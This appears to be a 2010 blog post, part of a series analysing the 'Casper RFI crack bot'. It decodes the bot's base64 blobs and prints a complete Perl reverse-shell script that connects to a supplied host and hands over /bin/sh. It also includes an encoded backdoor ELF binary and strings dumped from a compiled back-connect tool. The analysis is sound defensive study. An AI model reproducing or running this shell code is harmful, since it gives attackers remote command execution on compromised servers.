Irregular Expressions

Aug 27 2010   8:48AM GMT

Casper RFI crack bot – Part 7

Dan O'Connor Dan O'Connor Profile: Dan O'Connor

At first I was thinking that these might be encrypted, but that did not turn out to be the case.

The first one we found was back_connect_pl.

IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI
back_connect_pl = #!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";';
$system1= 'echo "`id`";';
$system2= 'echo "`pwd`";';
$system3= 'echo "`whoami`@`hostname`:~ >";';
$system4= '/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
print "\n\n:: w4ck1ng-shell (Private Build v0.3) reverse shell ::\n\n";
print "\nSystem Info: ";
system($system);
print "\nYour ID: ";
system($system1);
print "\nCurrent Directory: ";
system($system2);
print "\n";
system($system3); system($system4);
close(STDIN);
close(STDOUT);
close(STDERR);

That looks like part of some command web portal, will have to check into that one later.  Next up was back_connect_c, I am guess that this is some sort of binary.

Yup,

back_connect_c = CC: (GNU) 3.4.5 20051201 (Red Hat 3.4.5-2)GCC: (GNU) 3.4.5 20051201 (Red Hat 3.4.5-2)GCC: (GNU) 3.4.5 20051201 (Red Hat 3.4.5-2)GCC: (GNU) 3.4.5 20051201 (Red Hat 3.4.5-2)GCC: (GNU) 3.4.5 20051201 (Red Hat 3.4.5-2)GCC: (GNU) 3.4.5 20051201 (Red Hat 3.4.5-2).symtab.strtab.shstrtab.interp.note.ABI-tag.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.commen#

The last one in that group was $backdoor.

f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD
$back_door = "CC: (GNU) 3.4.6 (Ubuntu 3.4.6-1ubuntu2)GCC: (GNU) 3.4.6 (Ubuntu 3.4.6-1ubuntu2)GCC: (GNU) 4.0.3 (Ubuntu 4.0.3-1ubuntu5)GCC: (GNU) 4.0.3 (Ubuntu 4.0.3-1ubuntu5)GCC: (GNU) 3.4.6 (Ubuntu 3.4.6-1ubuntu2)GCC: (GNU) 4.0.3 (Ubuntu 4.0.3-1ubuntu5)GCC: (GNU) 3.4.6 (Ubuntu 3.4.6-1ubuntu2)?"

Another binary.

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